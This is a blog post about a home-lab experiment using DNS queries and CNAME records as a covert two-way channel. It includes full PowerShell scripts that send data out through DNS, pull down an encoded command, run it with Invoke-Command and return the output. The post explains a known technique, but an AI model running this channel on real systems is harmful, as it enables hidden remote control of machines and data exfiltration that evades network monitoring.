DNS as a Bidirectional Communication Protocol, It Works! - Part 2 - Example

So it turns out you can use DNS to send and receive data, I'm definitely not the first to do this and won't be the last. This isn't a guide but more-so an experiment for a bit of fun.

So it turns out you can use DNS to send and receive data, I'm definitely not the first to do this and won't be the last. This isn't a guide but more-so an experiment for a bit of fun.

This post continues on from Part 1 - DNS as a Bidirectional Communication Protocol, What?

Setup

Before we can get started it's best I explain what I've set up so far.

Client

We have a Windows 10 machine with no internet access however it does have access to my local DNS server which forwards requests to Cloudflare.

Server

We then have a Ubuntu Server hosted with Linode (Referral link available here) which is running Bind9 setup as an authoritative DNS server for cdn.domain.com.

Examples

PowerShell is my preferred language for scripting because it's what I know and these are quick and dirty scripts to prove the concept.

Sending a message

To "send" a message we will use the following script.

$Message = "Sending my message from a device without internet"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Message)
$EncodedText =[Convert]::ToBase64String($Bytes)

#Split encoded text into 30 char chunks
$TextArray = @()
$TextArray = $EncodedText.Replace("=","") -split '(.{30})' | ?{$_}

#Generate a random ID
$ID = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})

$Count = 1
#Loop through and perform queries for each DNS query
ForEach ($_ in $TextArray)
    {
        #Debugging
        Write-Host "$($ID)-$($Count)-$($TextArray.Count)-$($_).cdn.domain.com"
        try {
            Resolve-DnsName -type A "$($ID)-$($Count)-$($TextArray.Count)-$($_).cdn.domain.com" -ErrorAction stop
        }
        catch {
            #Empty catch to stop logging output
        }
        $Count++
    }

Monitoring our authoritative DNS server's log files we see the queries have been forwarded to us (since no one has them cached):

11-Feb-2024 06:01:23.160 client @0x7fc1501a3bb8 172.68.84.105#40757 (yQJWe-1-5-UwBlAG4AZABpAG4AZwAgAG0AeQAgAG.cdn.domain.com): query: yQJWe-1-5-UwBlAG4AZABpAG4AZwAgAG0AeQAgAG.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:01:23.212 client @0x7fc1501a3bb8 172.68.84.105#58606 (yQJWe-2-5-0AZQBzAHMAYQBnAGUAIABmAHIAbwBt.cdn.domain.com): query: yQJWe-2-5-0AZQBzAHMAYQBnAGUAIABmAHIAbwBt.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:01:23.240 client @0x7fc1501a3bb8 172.68.84.105#48559 (yQJWe-3-5-ACAAYQAgAGQAZQB2AGkAYwBlACAAdw.cdn.domain.com): query: yQJWe-3-5-ACAAYQAgAGQAZQB2AGkAYwBlACAAdw.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:01:23.264 client @0x7fc1501a3bb8 172.68.84.105#18776 (yQJWe-4-5-BpAHQAaABvAHUAdAAgAGkAbgB0AGUA.cdn.domain.com): query: yQJWe-4-5-BpAHQAaABvAHUAdAAgAGkAbgB0AGUA.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:01:23.292 client @0x7fc1501a3bb8 108.162.248.92#65087 (yQJWe-5-5-cgBuAGUAdAA.cdn.domain.com): query: yQJWe-5-5-cgBuAGUAdAA.cdn.domain.com IN A -E(0)D (172.105.174.174)

We can now take the 5 chunks of the message, reassemble the base64, decode the base64 and output the results.

$Contents = @()
$Contents = Get-Content -Path .\Desktop\input.txt

Remove-Variable EncodedMessage -ErrorAction SilentlyContinue

ForEach ($_ in $Contents) {
    $EncodedMessage = $EncodedMessage + $(($_.Split("-")[3]).SPlit(".")[0])
}

$EncodedMessage = $EncodedMessage + "=="
$DecodedMessage = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedMessage))
$DecodedMessage

The output gives us the following.. You'll notice the t in internet is showing an invalid character, most likely some encoding mismatch that I'm going to leave for now.

PS C:\Users\superadmin> . 'C:\Users\superadmin\Desktop\Reassesmble-Response.ps1'
Sending my message from a device without interne�

Message received loud and clear!

Receiving a message

First we need to update our DNS zone file to have some queries we can actually query for, you guessed it, another PowerShell to save writing zone files manually.

$Message = "Testing receiving messages"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Message)
$EncodedText =[Convert]::ToBase64String($Bytes)
$TextArray = @()
$TextArray = $EncodedText.Replace("=","") -split '(.{30})' | ?{$_}
$ID = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
$Count = 1
$ZoneData = @()
$ZoneData += "$($ID).cdn.domain.com.    CNAME   $($ID)-$($TextArray.Count).cdn.domain.com."

ForEach ($_ in $TextArray)
    {
        $ZoneData += "$($ID)-$($Count)-$($TextArray.Count).cdn.domain.com.    CNAME   $($ID)-$($Count)-$($_).cdn.domain.com."
        #Write-Host "$($ID)-$($Count)-$($TextArray.Count)-$($_).cdn.domain.com"
        
        $Count++
    }

$ZoneData

The above simply created the entries to add to our zone file.

Our zone file will look something along the lines of:

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.domain.com. admin.domain.com. (
                              6         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
;Name Servers
cdn.domain.com.        IN      NS      ns1.domain.com.

xuDLN.cdn.domain.com.    CNAME   xuDLN-3.cdn.domain.com.
xuDLN-1-3.cdn.domain.com.    CNAME   xuDLN-1-VABlAHMAdABpAG4AZwAgAHIAZQBjAG.cdn.domain.com.
xuDLN-2-3.cdn.domain.com.    CNAME   xuDLN-2-UAaQB2AGkAbgBnACAAbQBlAHMAcwBh.cdn.domain.com.
xuDLN-3-3.cdn.domain.com.    CNAME   xuDLN-3-AGcAZQBzAA.cdn.domain.com.

Now we can query using the unique ID of xuDLN that to get the message.

$ID= "xuDLN"
$SegmentQuery = (Resolve-DnsName -type CNAME "$($ID).cdn.domain.com").NameHost
#Get total segments by splitting the CNAME response
$Segments = $SegmentQuery.Split("-")[1].Split(".")[0]
$Count = 1
Remove-Variable EncodedMessage -ErrorAction SilentlyContinue

Do {
    $EncodedMessage = $EncodedMessage + $((((Resolve-DnsName -Type CNAME "$($ID)-$($Count)-$($Segments).cdn.domain.com").NameHost).Split("-")[2]).Split(".")[0])
    $Count++
}
While ($Count -le $Segments)

$EncodedMessage = $EncodedMessage + "=="
$DecodedMessage = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedMessage))
$DecodedMessage

We'll see the queries hitting our authoritative DNS server like below. Notice it does the first query to xuDLN.cdn.domain.com which will give us a response of xuDLN-3.cdn.domain.com which indicates a total of 3 segments of data. We then perform the 3 queries to get the data, reassemble, and then decode and print the output to console.

11-Feb-2024 06:21:07.537 client @0x7fc14800b788 172.68.84.105#39350 (xuDLN.cdn.domain.com): query: xuDLN.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:21:07.585 client @0x7fc1501a3bb8 172.68.84.105#18998 (xuDLN-1-3.cdn.domain.com): query: xuDLN-1-3.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:21:07.609 client @0x7fc1501a3bb8 172.68.84.105#54308 (xuDLN-2-3.cdn.domain.com): query: xuDLN-2-3.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:21:07.633 client @0x7fc1501a3bb8 172.68.84.105#24320 (xuDLN-3-3.cdn.domain.com): query: xuDLN-3-3.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
PS C:\Users\superadmin> . 'C:\Users\superadmin\Desktop\Receive-Message.ps1'
Testing receiving messages

Executing a Command

So far we've demonstrated sending and receiving data which is cool but now we're really starting to get to the fun, sending a command to the client, running the command and then sending the response back.

We're going to use our PowerShell script from before to generate the zone file with a slightly different "message" to be stored this time. We're going to ask the machine for some information about itself.

Get-ComputerInfo | Select WindowsInstallDateFromRegistry, WindowsProductName, WindowsRegisteredOwner, CsName | FT -HideTableHeaders | Out-String

Our zone file will now look like below, totalling 13 chunks of data.

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.domain.com. admin.domain.com. (
                              6         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
;Name Servers
cdn.domain.com.        IN      NS      ns1.domain.com.

YkUAw.cdn.domain.com.    CNAME   YkUAw-13.cdn.domain.com.
YkUAw-1-13.cdn.domain.com.    CNAME   YkUAw-1-RwBlAHQALQBDAG8AbQBwAHUAdABlAH.cdn.domain.com.
YkUAw-2-13.cdn.domain.com.    CNAME   YkUAw-2-IASQBuAGYAbwAgAHwAIABTAGUAbABl.cdn.domain.com.
YkUAw-3-13.cdn.domain.com.    CNAME   YkUAw-3-AGMAdAAgAFcAaQBuAGQAbwB3AHMASQ.cdn.domain.com.
YkUAw-4-13.cdn.domain.com.    CNAME   YkUAw-4-BuAHMAdABhAGwAbABEAGEAdABlAEYA.cdn.domain.com.
YkUAw-5-13.cdn.domain.com.    CNAME   YkUAw-5-cgBvAG0AUgBlAGcAaQBzAHQAcgB5AC.cdn.domain.com.
YkUAw-6-13.cdn.domain.com.    CNAME   YkUAw-6-wAIABXAGkAbgBkAG8AdwBzAFAAcgBv.cdn.domain.com.
YkUAw-7-13.cdn.domain.com.    CNAME   YkUAw-7-AGQAdQBjAHQATgBhAG0AZQAsACAAVw.cdn.domain.com.
YkUAw-8-13.cdn.domain.com.    CNAME   YkUAw-8-BpAG4AZABvAHcAcwBSAGUAZwBpAHMA.cdn.domain.com.
YkUAw-9-13.cdn.domain.com.    CNAME   YkUAw-9-dABlAHIAZQBkAE8AdwBuAGUAcgAsAC.cdn.domain.com.
YkUAw-10-13.cdn.domain.com.    CNAME   YkUAw-10-AAQwBzAE4AYQBtAGUAIAB8ACAARgBU.cdn.domain.com.
YkUAw-11-13.cdn.domain.com.    CNAME   YkUAw-11-ACAALQBIAGkAZABlAFQAYQBiAGwAZQ.cdn.domain.com.
YkUAw-12-13.cdn.domain.com.    CNAME   YkUAw-12-BIAGUAYQBkAGUAcgBzACAAfAAgAE8A.cdn.domain.com.
YkUAw-13-13.cdn.domain.com.    CNAME   YkUAw-13-dQB0AC0AUwB0AHIAaQBuAGcA.cdn.domain.com.

The below PowerShell script does a few things:

  1. Defines ID YkUAw and queries for how many segments to receive
  2. Performs the 13 queries we were told to get
  3. Assembles the 13 base64 encoded segments back as one
  4. Decodes base64 received message and preps the code for execution
  5. Executes the code
  6. Base64 encodes, splits up and uploads the code we were asked to execute

Looking at our Bind log we'll see the query for the initial data (the command in this case), then we'll see more queries with a new ID and this is our response.

$ID= "YkUAw"
$SegmentQuery = (Resolve-DnsName -type CNAME "$($ID).cdn.domain.com").NameHost
#Get total segments by splitting the CNAME response
$Segments = $SegmentQuery.Split("-")[1].Split(".")[0]
$Count = 1
Remove-Variable EncodedMessage -ErrorAction SilentlyContinue

Do {
    $EncodedMessage = $EncodedMessage + $((((Resolve-DnsName -Type CNAME "$($ID)-$($Count)-$($Segments).cdn.domain.com").NameHost).Split("-")[2]).Split(".")[0])
    $Count++
}
While ($Count -le $Segments)

#$EncodedMessage = $EncodedMessage + "=="
$DecodedMessage = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedMessage))
#Create scriptblock as scriptblock doesn't support
$scriptBlock = [Scriptblock]::Create($DecodedMessage)
$CommandOutput = Invoke-Command -ScriptBlock $scriptBlock
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($CommandOutput)
$EncodedText =[Convert]::ToBase64String($Bytes)
$TextArray = @()
$TextArray = $EncodedText.Replace("=","") -split '(.{30})' | ?{$_}
$ID = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
$Count = 1

ForEach ($_ in $TextArray)
    {
        Write-Host "$($ID)-$($Count)-$($TextArray.Count)-$($_).cdn.domain.com"
        try {
            Resolve-DnsName -type A "$($ID)-$($Count)-$($TextArray.Count)-$($_).cdn.domain.com" -ErrorAction stop
        }
        catch {
            #Empty catch to stop logging output
        }
        
        $Count++
    }
11-Feb-2024 06:55:18.678 client @0x7fc14800b788 172.68.84.105#31729 (YkUAw.cdn.domain.com): query: YkUAw.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.702 client @0x7fc14800b788 172.68.84.105#36059 (YkUAw-1-13.cdn.domain.com): query: YkUAw-1-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.778 client @0x7fc14800b788 172.68.84.105#15332 (YkUAw-2-13.cdn.domain.com): query: YkUAw-2-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.858 client @0x7fc14800b788 172.68.84.105#50310 (YkUAw-3-13.cdn.domain.com): query: YkUAw-3-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.886 client @0x7fc1501a3bb8 108.162.248.92#11515 (YkUAw-4-13.cdn.domain.com): query: YkUAw-4-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.910 client @0x7fc14800b788 172.68.84.105#56719 (YkUAw-5-13.cdn.domain.com): query: YkUAw-5-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:18.934 client @0x7fc1501a3bb8 172.68.84.105#65361 (YkUAw-6-13.cdn.domain.com): query: YkUAw-6-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.018 client @0x7fc14800b788 172.68.84.105#54436 (YkUAw-7-13.cdn.domain.com): query: YkUAw-7-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.046 client @0x7fc14800b788 172.68.84.105#64410 (YkUAw-8-13.cdn.domain.com): query: YkUAw-8-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.070 client @0x7fc14800b788 172.68.84.105#62670 (YkUAw-9-13.cdn.domain.com): query: YkUAw-9-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.094 client @0x7fc14800b788 172.68.84.105#11241 (YkUAw-10-13.cdn.domain.com): query: YkUAw-10-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.118 client @0x7fc14800b788 172.68.84.105#40232 (YkUAw-11-13.cdn.domain.com): query: YkUAw-11-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.138 client @0x7fc14800b788 172.68.84.105#33564 (YkUAw-12-13.cdn.domain.com): query: YkUAw-12-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:19.170 client @0x7fc1501a3bb8 172.68.84.105#13982 (YkUAw-13-13.cdn.domain.com): query: YkUAw-13-13.cdn.domain.com IN CNAME -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.162 client @0x7fc1501a3bb8 172.68.84.105#62509 (PLvio-1-9-DQAKADkALwAxADEALwAyADAAMgAzAC.cdn.domain.com): query: PLvio-1-9-DQAKADkALwAxADEALwAyADAAMgAzAC.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.234 client @0x7fc14800b788 172.68.84.105#17622 (PLvio-2-9-AAMgA6ADEAMwA6ADIANQAgAEEATQAg.cdn.domain.com): query: PLvio-2-9-AAMgA6ADEAMwA6ADIANQAgAEEATQAg.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.258 client @0x7fc1501a3bb8 172.68.84.105#28119 (PLvio-3-9-ACAAIAAgACAAIAAgACAAIAAgACAAVw.cdn.domain.com): query: PLvio-3-9-ACAAIAAgACAAIAAgACAAIAAgACAAVw.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.286 client @0x7fc1501a3bb8 172.68.84.105#15520 (PLvio-4-9-BpAG4AZABvAHcAcwAgADEAMAAgAFAA.cdn.domain.com): query: PLvio-4-9-BpAG4AZABvAHcAcwAgADEAMAAgAFAA.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.310 client @0x7fc1501a3bb8 172.68.84.105#15507 (PLvio-5-9-cgBvACAAIAAgACAAIABzAHUAcABlAH.cdn.domain.com): query: PLvio-5-9-cgBvACAAIAAgACAAIABzAHUAcABlAH.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.342 client @0x7fc14800b788 108.162.248.92#14118 (PLvio-6-9-IAYQBkAG0AaQBuACAAIAAgACAAIAAg.cdn.domain.com): query: PLvio-6-9-IAYQBkAG0AaQBuACAAIAAgACAAIAAg.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.366 client @0x7fc14800b788 172.68.84.105#36160 (PLvio-7-9-ACAAIAAgACAAIAAgACAAVABFAFMAVA.cdn.domain.com): query: PLvio-7-9-ACAAIAAgACAAIAAgACAAVABFAFMAVA.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.398 client @0x7fc1501a3bb8 108.162.248.92#25482 (PLvio-8-9-AtAFcASQBOADEAMAANAAoADQAKAA0A.cdn.domain.com): query: PLvio-8-9-AtAFcASQBOADEAMAANAAoADQAKAA0A.cdn.domain.com IN A -E(0)D (172.105.174.174)
11-Feb-2024 06:55:21.418 client @0x7fc1501a3bb8 172.68.84.105#37104 (PLvio-9-9-CgA.cdn.domain.com): query: PLvio-9-9-CgA.cdn.domain.com IN A -E(0)D (172.105.174.174)

We now have the response to our initial PowerShell command, if we base64 decode that we get:

PS C:\Users\superadmin> . 'C:\Users\superadmin\Desktop\Reassesmble-Response.ps1'
9/11/2023 2:13:25 AM           Windows 10 Pro     superadmin             TEST-WIN10

Wow, pretty impressive for the DNS protocol, right?

Summary

My Thoughts

Being able to send and receive data using nothing but DNS is super fascinating to me, flying under many traditional places you'd check for indicators that a device might be doing something suspicious.

I've really only scratched the surface of what someone (most likely a bad actor) could do with something like this. If I wrote my scripts in bash instead of PowerShell you could perform actions on some core networking equipment, for example, that normally might not have internet, but most likely will have DNS.

Other Implementations

As I mentioned earlier I'm definitely not the first person to use DNS for similar. There is a great GitHub project Called DoNotSend which looks similar to what I've done but a bit more polished and also iodine which has the ability to get up to 1Mbps throughput which is awesome! I'd definitely recommend checking out those projects if you found this fascinating.

Subscribe to Corey Easton's Blog

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.
[email protected]
Subscribe
DISCLAIMER
Opinions expressed here are my own view.